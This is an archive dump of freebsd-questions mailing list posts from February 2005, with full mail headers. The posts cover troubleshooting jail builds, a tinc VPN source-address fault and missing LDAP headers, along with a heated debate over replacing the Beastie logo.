b=bZRrnwnpj5thR2SI84RRcoYPXDBMtyMAIB5mBhYVGW7lopDXduHN9nzwknA2gpSXt/C1zg2hnVtzCokErEw6+W54f04Y0bdJpFVwyDUwEGqyze+bAzxmdT6CwmoTOCQGgQfhYjC7K3FONF+U2FmEtkJ2NfAZAKvVEDMPvXHo3RA= Received: by 10.54.49.37 with SMTP id w37mr232323wrw; Wed, 09 Feb 2005 23:50:41 -0800 (PST) Received: by 10.54.2.60 with HTTP; Wed, 9 Feb 2005 23:50:41 -0800 (PST) Message-ID: Date: Thu, 10 Feb 2005 15:50:41 +0800 From: r p To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: jail manpage X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: r p List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 07:50:42 -0000 > On Wed, 9 Feb 2005 14:12:06 -0600, Josh Paetzel wrote: > > I've been trying get jails working on my 5.3-RELEASE-p2 machine. > > I've tried following the instructions in man 8 jail > > > > D=/here/is/the/jail > > cd /usr/src > > mkdir -p $D > > make world DESTDIR=$D > > cd etc > > make distribution DESTDIR=$D > > mount_devfs devfs $D/dev > > cd $D > > ln -sf dev/null kernel > > > > It dies at make world DESTDIR=$D with the following error: > > > > cc -0 -pipe -I/usr/obj/usr/src/i386/legacy/usr/include > > c/usr/src/games/fortune/strfile/strfile.c > > > > make: don't know how to make /jail/test/usr/lib/libc.a. Stop > > ***Error code 2 > > Stopping /usr/src Hi, I had the same problem. Googling showd me to use the line "env DESTDIR=$D make world" instead of "make world DESTDIR=$D". After I did this it all worked fine. Regards, Richard From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 07:52:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 531DF16A4CE for ; Thu, 10 Feb 2005 07:52:28 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id D6CF343D41 for ; Thu, 10 Feb 2005 07:52:27 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1A7qTj18782; Wed, 9 Feb 2005 23:52:29 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "m" , Date: Wed, 9 Feb 2005 23:52:28 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal Subject: RE: FreeBSD IA64 on Compaq DL590? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 07:52:28 -0000 owner-freebsd-questions@freebsd.org wrote: > Has anyone successfully booted IA64 BSD 5.3 on a Compaq DL590 machine? > HP has Red Hat Enterprise Linux Advanced Server 3.0 running on a DL560 system here: http://www.testdrive.hp.com Contact them and ask for a FreeBSD test system on a DL590. Ted From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 07:55:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6F9B316A4CE for ; Thu, 10 Feb 2005 07:55:02 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1C95143D45 for ; Thu, 10 Feb 2005 07:55:02 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1A7t3j18805; Wed, 9 Feb 2005 23:55:03 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Loren M. Lang" Date: Wed, 9 Feb 2005 23:55:01 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <20050209114919.GR8619@alzatex.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal cc: freebsd-questions@freebsd.org Subject: RE: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 07:55:02 -0000 owner-freebsd-questions@freebsd.org wrote: > On Tue, Feb 08, 2005 at 11:06:13PM -0800, Ted Mittelstaedt wrote: >> > > Actually, I was referring more to the idea of posting my responces to > other people questions. For instance, I recently posted several > responces for the thread about xhost and x authentication explaining > in detail how x auth works. Now if questions come up again here or > elsewhere, I don't want to have to repost everything I wrote, > just refer > to a url. Some of it I do plan to rewrite, but I haven't had time to > rewrite all the emails I think would be useful to post. Since there > usually available in some form in an archive, I thought it would be > convient to just archive them on my site as well. All the emails are > ones that I've sent, but include quoted text from the original email. > The quoted text would certainly be considered Fair Use in which case you don't have to get permission to post it. Ted From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 07:57:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BD66716A4CE for ; Thu, 10 Feb 2005 07:57:19 +0000 (GMT) Received: from toybox.fyremoon.net (toybox.fyremoon.net [209.61.186.20]) by mx1.FreeBSD.org (Postfix) with ESMTP id 432A743D31 for ; Thu, 10 Feb 2005 07:57:19 +0000 (GMT) (envelope-from jadz@toybox.fyremoon.net) Received: from localhost (jadz@localhost) by toybox.fyremoon.net (8.11.6/8.11.7) with ESMTP id j1A7vG728252; Thu, 10 Feb 2005 07:57:17 GMT Date: Thu, 10 Feb 2005 07:57:15 +0000 (GMT) From: jadz@toybox.fyremoon.net To: tinc@tinc-vpn.org, Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: IP packets with source address of 0.0.0.0 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 07:57:19 -0000 Hi, I've got a bit of a weird one I've not figured out yet, so thought I'd come see if you guys can help. I've just added a new box to an existing tinc vpn. The vpn consists of some debian Linux and freebsd 5.2 and 5.3 boxes. All boxes are running tinc 1.0.2. The box I've just added is the first and only fbsd 5.3 box on the vpn. tinc on the fbsd5.3 box seems to happily connect to the vpn, but connections to the other systems on the vpn cannot be initiated from it. The reason seems to be that the packets coming from the box over the vpn have a source address of 0.0.0.0. Thats clearly why no packets get returned by the other vpn sites. The if_tap device on the fbsd 5.3 box seems to be configured fine: tap0: flags=8843 mtu 1500 inet6 fe80::2bd:fff:fe33:100%tap0 prefixlen 64 scopeid 0x4 inet 10.0.5.1 netmask 0xffffff00 broadcast 10.0.5.255 ether 00:bd:0f:33:01:00 Opened by PID 3174 I've had a quick look at the routing table and everything is fine there. Using tcpdump on one of the other vpn sites confirms the packets are getting to it, so they are being routed over the vpn correctly: # tcpdump -i tap0 tcpdump: listening on tap0 08:44:24.847529 0.0.0.0 > 10.0.3.1: icmp: echo request 08:44:25.803251 0.0.0.0 > 10.0.3.1: icmp: echo request 08:44:26.818328 0.0.0.0 > 10.0.3.1: icmp: echo request 08:44:27.822987 0.0.0.0 > 10.0.3.1: icmp: echo request 08:44:28.841233 0.0.0.0 > 10.0.3.1: icmp: echo request 5 packets received by filter 0 packets dropped by kernel # In the above example you can see ping packets arriving over the vpn from the fbsd 5.3 box. the destination address is good, but the source address is 0.0.0.0, which is the problem I've done some googling to no joy, so I'm hoping someone out there has some ideas. hope you guys can help jadzy From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 08:03:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 67A4416A4CE for ; Thu, 10 Feb 2005 08:03:47 +0000 (GMT) Received: from alpargata.net (alpargata.net [67.18.172.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id F31A143D2F for ; Thu, 10 Feb 2005 08:03:46 +0000 (GMT) (envelope-from nospam@illusionart.com) Received: from [192.168.1.100] (dsl081-061-217.dsl-isp.net [64.81.61.217] (may be forged)) (authenticated bits=0) by alpargata.net (8.13.1/8.13.1) with ESMTP id j1A8RIbR039549 for ; Thu, 10 Feb 2005 02:27:23 -0600 (CST) (envelope-from nospam@illusionart.com) Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Message-Id: <4D69F585-7B3A-11D9-8017-000D93C7878E@illusionart.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: freebsd-questions@freebsd.org From: Vonleigh Simmons Date: Thu, 10 Feb 2005 00:03:52 -0800 X-Mailer: Apple Mail (2.619) X-Virus-Scanned: ClamAV 0.80/624/Thu Dec 9 13:01:06 2004 clamav-milter version 0.80j on alpargata.net X-Virus-Status: Clean Subject: Turck MMCache to eaccelerator X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 08:03:47 -0000 Hi, Seems that now Turck MMCache is now eaccelerator, since development of the former was stopped and someone forked. I read UPDATING and didn't find any info on this. What's the correct way of upgrading to this? I only found out because I ran portversion and it says: turck-mmcache-2.4.6 > succeeds port (port has 0.9.2a) Vonleigh Simmons From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 08:42:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0DD9916A4CE for ; Thu, 10 Feb 2005 08:42:57 +0000 (GMT) Received: from web51606.mail.yahoo.com (web51606.mail.yahoo.com [206.190.38.211]) by mx1.FreeBSD.org (Postfix) with SMTP id 8322743D41 for ; Thu, 10 Feb 2005 08:42:56 +0000 (GMT) (envelope-from jay2xra@yahoo.com) Received: (qmail 63032 invoked by uid 60001); 10 Feb 2005 08:42:55 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=Pb3wQUBOV7Otiz8xJ8lots0AcyVHIvvKAbLgyzQ+d8mLBwafdpQZNeQ/mH6TpKMeILgRpmg9LU9+CEhLgWWI/nAd4Cy+O/ftBdATxq2jeIYk4Yf5QtF37lpW4UwFBmWUlF6p3kmdf0jpGuWiRbbomtj14QamaOdIbMrOdY72gF0= ; Message-ID: <20050210084255.63030.qmail@web51606.mail.yahoo.com> Received: from [202.90.128.21] by web51606.mail.yahoo.com via HTTP; Thu, 10 Feb 2005 00:42:55 PST Date: Thu, 10 Feb 2005 00:42:55 -0800 (PST) From: Mark Jayson Alvarez To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: Make fails because of missing library but I can see it's there, why??? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 08:42:57 -0000 Hi, This always happens to me whenever I'm compiling third party applications. Make fails because it says that it cannot find a certain library.. and when I try to search for that file, I usually finds it. For example, I'm compiling, nagios-plugins but it fails with this error messages: check_ldap.c:31:18: lber.h: No such file or directory check_ldap.c:32:18: ldap.h: No such file or directory but when I run: # find / -name "ldap.h" -print /usr/lib/ldap.h /usr/local/lib/ldap.h /usr/local/include/ldap.h noc# find / -name "lber.h" -print /usr/lib/lber.h /usr/local/lib/lber.h /usr/local/include/lber.h See.. it's all there! I'm thinking perhaps there's a way for me to tell a compiler that the system wide library files are found in that certain directory. Any idea?? Thanks! __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 08:50:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CD4C416A4CE for ; Thu, 10 Feb 2005 08:50:34 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 48BDB43D45 for ; Thu, 10 Feb 2005 08:50:34 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1A8oZj19002; Thu, 10 Feb 2005 00:50:36 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Andrew L. Gould" , Date: Thu, 10 Feb 2005 00:50:34 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <200502092223.01650.algould@datawok.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal Subject: RE: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 08:50:34 -0000 owner-freebsd-questions@freebsd.org wrote: > On Wednesday 09 February 2005 07:09 pm, - wrote: >> http://www.petitiononline.com/fbsdmsc1/petition.html >> >> Julien Gabel wrote: >>>>> See the thread "The FreeBSD Project is announcing a public >>>>> competition for the new logo design. ????" in -advocacy - I've >>>>> already replied with my views on the subject, along the same >>>>> lines as your comments. >>>> >>>> I'm not subscribed to -advocacy can you provide me with an archive >>>> link to this thread in question? I wasn't able to find it based on >>>> the subject you provided. >>> >>> You can follow this post at: >>> http://lists.freebsd.org/pipermail/freebsd-advocacy/2005-February/ > > I have been watching the fallout regarding this issue on both the > advocacy and questions email lists. It is clear from the advocacy > list, that the announcement was made prematurely and did not convey > the intended message either clearly or completely. That is true. > It is clear from > reading both lists that much of the anger is based upon false > assumptions, misinformation and incomplete editing of the leaked > document. > Sorry, but that is false. Much of the anger is based on Robert Watson (and whatever other core members are arguing with him over this) not IMMEDIATELY becoming completely forthright with the FreeBSD community as soon as the leak occurred. I am deeply concerned with what I see going on here. Since when has the FreeBSD Project had "secret" information of a sales and marketing nature? This is a brand new one to me. I can condone secrets in the area of leaglities - such as back in the bad old days when UCB was sued by USL, there were many secrets, a few that I and some others were able to ferret out but still many buried, and still some people under gag orders. But there has never before in the entire history of the FreeBSD Project been a situation where sales and marketing information has been considered "secret" Sure, BSDI operated like this - but they were not part of the FreeBSD Project. And, I am also concerned about the historical revisionists who are claiming FreeBSD never had a logo. That is hogwash. Nobody ever said that FreeBSD lacked a logo until after a few days ago when this ill-conceived competition was leaked - because everyone knew the logo was Beastie. Yes I understand that some commercial consultants and such have had problems due to the logo being a devil image. But if Robert Watson had wanted to respond to this then he should have brought it up for discussion with the userbase immediately, not sneaked around talking to his cronies at Apple Computer, trying to figure out how to push this off onto the userbase in a way that people wouldn't object to doing so. This logo competition is childish - 99% of the FreeBSD community members are not graphic artists and couldn't draw their way out of a paper bag - such a competition does not have as it's goal that of obtaining an image, it's only goal is assuaging pissed off people by pretending that they have a hand in the decision. > I (just a user) ask that the petition effort be delayed until the > official announcement is made and the issues can be drawn out and > discussed more clearly. > No, sorry. The core team apparently feels that the way to do things now is to made decisions of this nature first, then have discussion later, rather than the reverse which previously has been the case. Therefore if they are going to play it like this, then all users who disagree with this idea should do exactly as they are doing. In short, we have made our decision we don't want to see beastie removed from logo status, and we will be happy to discuss it after we have made up our minds, just like the core team seems happy to discuss their decision to jettison beastie as the logo, after having made up their minds to do so. I personally might have supported a logo change if the core team had started tossing around the idea in the mailing lists FIRST in an informal basis. And I will also say that when I worked with Addison Wesley back in 2000 for the cover art for my book, I did consider this as an issue that might possibly impact sales of my book. However I decided that I would be willing to take the financial impact on a personal basis of losing a few sales to people who are so blinded by their idea of religion that they wouldn't touch a book with an image of a devil on the cover - because the FreeBSD devil image has a historical significance to FreeBSD that is important. After all, in my book I am asking people to put aside their concerns that FreeBSD is a non-commercial operating system, and run it on their production business systems. I would be a hipocrite of the worst kind if I were to have not put aside my concerns that the Beastie image was unacceptable to businesses. However, as the core team as apparently represented by R Watson has stated they want to consider this internally first, then just tell the userbase what they are going to do later on, I say screw you, and I'll argue and fight against this topic for years. Ted Mittelstaedt Author, The FreeBSD Corporate Networker's Guide From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 08:51:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8B5AB16A4CE for ; Thu, 10 Feb 2005 08:51:21 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5685443D1F for ; Thu, 10 Feb 2005 08:51:21 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CzA2f-0000ox-QZ; Thu, 10 Feb 2005 01:51:19 -0700 In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v619) Message-Id: From: Chad Leigh -- Shire.Net LLC Date: Thu, 10 Feb 2005 01:51:16 -0700 To: Josh Paetzel , r p X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: freebsd-questions@freebsd.org Subject: Re: jail manpage X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 08:51:21 -0000 On Feb 10, 2005, at 12:50 AM, r p wrote: >> On Wed, 9 Feb 2005 14:12:06 -0600, Josh Paetzel > wrote: >>> I've been trying get jails working on my 5.3-RELEASE-p2 machine. >>> I've tried following the instructions in man 8 jail >>> >>> D=/here/is/the/jail >>> cd /usr/src >>> mkdir -p $D >>> make world DESTDIR=$D >>> cd etc >>> make distribution DESTDIR=$D >>> mount_devfs devfs $D/dev >>> cd $D >>> ln -sf dev/null kernel >>> >>> It dies at make world DESTDIR=$D with the following error: >>> >>> cc -0 -pipe -I/usr/obj/usr/src/i386/legacy/usr/include >>> c/usr/src/games/fortune/strfile/strfile.c >>> >>> make: don't know how to make /jail/test/usr/lib/libc.a. Stop >>> ***Error code 2 >>> Stopping /usr/src > > Hi, > > I had the same problem. Googling showd me to use the line "env > DESTDIR=$D make world" instead of "make world DESTDIR=$D". After I did > this it all worked fine. Hmm, I will have to try that. I posted this same problem a few days ago. Never did get an answer, though I figured out a solution myself. This problem actually goes back to when 5.3 first came out. There was a problem and the fix got committed to the -STABLE branch but it appears it never got into the -RELEASE branch. I went to 5.3-RELEASE-p5 about a week ago and had a similar or same problem as the OP. My solution was to take the Makefile and Makefile.inc from the root of the source directory from a -STABLE src tree and stick them in my -RELEASE source tree. That allowed me to build fine and the jails work just fine. Of course, this is not the best solution. Chad From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 08:55:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2E31216A4CE for ; Thu, 10 Feb 2005 08:55:03 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id B269A43D49 for ; Thu, 10 Feb 2005 08:55:02 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1A8t5j19025 for ; Thu, 10 Feb 2005 00:55:05 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Thu, 10 Feb 2005 00:55:04 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <20050210055117.GA96699@keyslapper.net> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal Subject: RE: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 08:55:03 -0000 owner-freebsd-questions@freebsd.org wrote: > On 02/09/05 09:45 PM, Chad Leigh -- Shire.Net LLC sat at the > `puter and typed: > > Yes, but business is why Microsoft Windows (*) sucks old rocks. > Microsoft is in business to make money, not better software. I was > always under the impression that while the FreeBSD foundation was "in > business" to promote FreeBSD, the chief focus of the core team has > always been a better OS. Keeping Beastie is a statement of sorts that > the FreeBSD team is NOT interested in business, just their work. > > Once upon a time, a geek could get by with their idiosyncrasies > because they were obviously not interested in the power points that > the businessmen and politicians wanted. They were only interested in > their gadgetry, software, and whatever cool new technology came along. > Now, one by one, everyone's worried about "business like" images, > logos, and whatnot. > Hi Louis, Yep, I was wondering how long it would take before someone figured this one out. We know the real rea$on$ that this logo change is being contemplated, don't we. > You may be right, but I still strongly (but respectfully) disagree. > And I strongly disagree without any respect. Respectful disagreement is one of the power points that the businessmen and politicians want, it has never been a geek idiosyncracy. Ted From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 09:30:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7EF3D16A4CE for ; Thu, 10 Feb 2005 09:30:52 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 00F3343D39 for ; Thu, 10 Feb 2005 09:30:52 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id 3422B1C000B3 for ; Thu, 10 Feb 2005 10:30:51 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id F116B1C0009D for ; Thu, 10 Feb 2005 10:30:50 +0100 (CET) X-ME-UUID: 20050210093050987.F116B1C0009D@mwinf1109.wanadoo.fr Date: Thu, 10 Feb 2005 10:30:50 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1905317067.20050210103050@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <200502092223.01650.algould@datawok.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 09:30:52 -0000 Ted Mittelstaedt writes: > And, I am also concerned about the historical revisionists who > are claiming FreeBSD never had a logo. That is hogwash. Where can I see the logo? > Nobody ever said that FreeBSD lacked a logo until after a few days ago > when this ill-conceived competition was leaked - because everyone knew > the logo was Beastie. That's not a logo. Just about every image I've seen of Beastie has been different, so it's not a logo, it's a character associated with the brand (like Mickey Mouse). Logos are simple and instantly recognizable; they do not mutate from one presentation to the next. Most open-source projects don't have logos; even Linux lacks a proper logo (one could probably be made from the popular penguin character, but I haven't seen any examples). Red Hat, however, _does_ have a logo. > Yes I understand that some commercial consultants and such have had > problems due to the logo being a devil image. Logos need to be as neutral as possible, since they will be very widely used and very heavily imprinted in customers' minds. They must not conjure up thoughts of anything except the brand they represent. > This logo competition is childish - 99% of the > FreeBSD community members are not graphic artists and couldn't draw > their way out of a paper bag ... That's why I figured I'd try my hand at it; see http://perso.wanadoo.fr/anthony.atkielski/FreeBSDLogo1.jpg It meets the technical criteria for a logo; the aesthetic aspect is an open question. This logo concept uses ITC Garamond Bold (traditionally associated with FreeBSD and the BSDs generally) as the typeface for the logotype, thus retaining a link with prior generations of BSD (and showing kinship with other versions of BSD, such as NetBSD). I've adjusted the spacing of the logotype to tighten up the characters a bit. The squared oval surrounding the logotype represents continuous operation. The figure at the lower right is both a heart (representing the fondness that FreeBSD users have for the operating system) and, in conjunction with the oval, a symbolic pointed tail--an indirect reference to the original Beastie. The gold color for the oval represents reliability; the red color of the rest of logo again is an indirect reference to the original (red) Beastie. The simplicity of the logo makes it inexpensive to print on paper (it can be printed monochrome or with simple two-color offset, or with process offset). There are no complex halftones or shadings or fine details that might be difficult to print or might become muddy or fuzzy when resizing the logo for display. The spot colors used are Pantone 144 CVU (gold) and Pantone 187 CVU (red). These can be easily converted to CMYK, RGB, grayscale, etc., as required. > However I decided that I would be willing to take the financial impact > on a personal basis of losing a few sales to people who are so blinded > by their idea of religion that they wouldn't touch a book with an > image of a devil on the cover - because the FreeBSD devil image has a > historical significance to FreeBSD that is important. Actually, I think the devil aspect has little impact on public perception of FreeBSD. It's having a cute little cartoon mascot in sneakers that has the real impact--it implies that FreeBSD is a toy for kids, not a serious product for professionals and corporations. A more serious image of Beastie should be considered for these venues. And in any case, this mascot is distinct from a logo. The image used on your book is not a logo. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 09:33:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 13B4A16A4CE for ; Thu, 10 Feb 2005 09:33:27 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id C6BD543D48 for ; Thu, 10 Feb 2005 09:33:26 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 0DB9C1C0009C for ; Thu, 10 Feb 2005 10:33:26 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id DE8231C0008B for ; Thu, 10 Feb 2005 10:33:25 +0100 (CET) X-ME-UUID: 20050210093325911.DE8231C0008B@mwinf1104.wanadoo.fr Date: Thu, 10 Feb 2005 10:33:25 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <108284711.20050210103325@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <20050210055117.GA96699@keyslapper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 09:33:27 -0000 Ted Mittelstaedt writes: > Yep, I was wondering how long it would take before someone figured > this one out. We know the real rea$on$ that this logo change is > being contemplated, don't we. Personally, I wonder how FreeBSD survives based exclusively on volunteer efforts. It's a noble idea, but in the real world, things cost money, and people need to earn a living. Something that survives exclusively from the kindness of strangers leads a fragile existence. FreeBSD has a large following and seems reasonably stable, but when something is a volunteer effort, the larger the following, the better. -- Anthony From 